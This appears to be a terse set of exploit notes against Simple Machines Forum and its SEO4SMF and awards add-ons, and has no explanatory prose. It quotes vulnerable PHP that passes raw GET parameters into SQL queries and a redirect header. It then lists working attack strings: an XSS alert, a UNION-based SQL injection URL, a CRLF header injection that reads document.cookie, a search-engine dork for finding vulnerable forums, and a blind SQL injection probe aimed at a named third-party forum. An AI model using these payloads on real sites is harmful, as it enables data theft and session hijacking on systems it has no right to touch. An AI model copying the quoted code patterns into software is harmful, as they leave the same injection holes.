<script>alert(/XSS/)</script>

'jsoption' => array('Themes.php', 'SetJavaScript')

function SetJavaScript()

	db_query("
		REPLACE INTO {$db_prefix}themes
			(ID_THEME, ID_MEMBER, variable, value)
		VALUES ($settings[theme_id], $ID_MEMBER, SUBSTRING('$_GET[var]', 1, 255), SUBSTRING('" . (is_array($_GET['val']) ? implode(',', $_GET['val']) : $_GET['val']) . "', 1, 65534))", __FILE__, __LINE__);

$request = db_query("
			SELECT ID_THEME, variable, value
			FROM {$db_prefix}themes
			WHERE variable IN ('name', 'theme_url', 'theme_dir', 'images_url')" . (empty($modSettings['theme_default']) && !allowedTo('admin_forum') ? "
				AND ID_THEME IN ('$knownThemes')
				AND ID_THEME != 1" : '') . "
				AND ID_THEME != 0
			LIMIT " . count(explode(',', $modSettings['knownThemes'])) * 8, __FILE__, __LINE__);

while ($row = mysql_fetch_assoc($request))

$context['available_themes'][$row['ID_THEME']][$row['variable']] = $row['value'];

foreach ($context['available_themes'] as $ID_THEME => $theme_data)

$settings = $theme_data;

include($settings['theme_dir'] . '/languages/Settings.' . $user_info['language'] . '.php')

$topic = $_GET['t'];
$board = $_GET['b'];
$other = $_GET['o'];
$user = $_GET['u'];
$tpage = $_GET['p'];
$action = $_GET['a'];
$param = $_GET['param'];

$query = db_query("
SELECT m.ID_TOPIC, m.subject ,b.ID_BOARD, b.name
FROM {$db_prefix}messages AS m, {$db_prefix}boards AS b
WHERE m.ID_TOPIC = $topic
AND m.ID_BOARD = b.ID_BOARD
IMIT 1", __FILE__, __LINE__);

$query = db_query("
SELECT name FROM {$db_prefix}boards AS b
WHERE ID_BOARD = $board
LIMIT 1", __FILE__, __LINE__);

$request = db_query("SELECT memberName FROM {$db_prefix}members where
ID_MEMBER=".$user." limit 1", __FILE__, __LINE__);

$request = db_query("SELECT subject FROM {$db_prefix}tp_articles where
id=".$tpage." limit 1", __FILE__, __LINE__);

http://site/smf/seo4smf-redirect.php?t=-1 union select 1,2,3...,concat(username(),database()) –

if(!empty($url)){
 header('HTTP/1.1 301 Moved Permanently');
 header('Location: '.$url);
 exit;
}

http://site/seo4smf-redirect.php?a=x%0DLocation:%20javascript:alert(document.cookie);

inurl:index.php?action=profile;sa=awardsMembers;id=1

http://evilsite.com/smf/index.php?action=profile;sa=awardsMembers;u=1;id=1

http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1+and+substring(version(),1)=5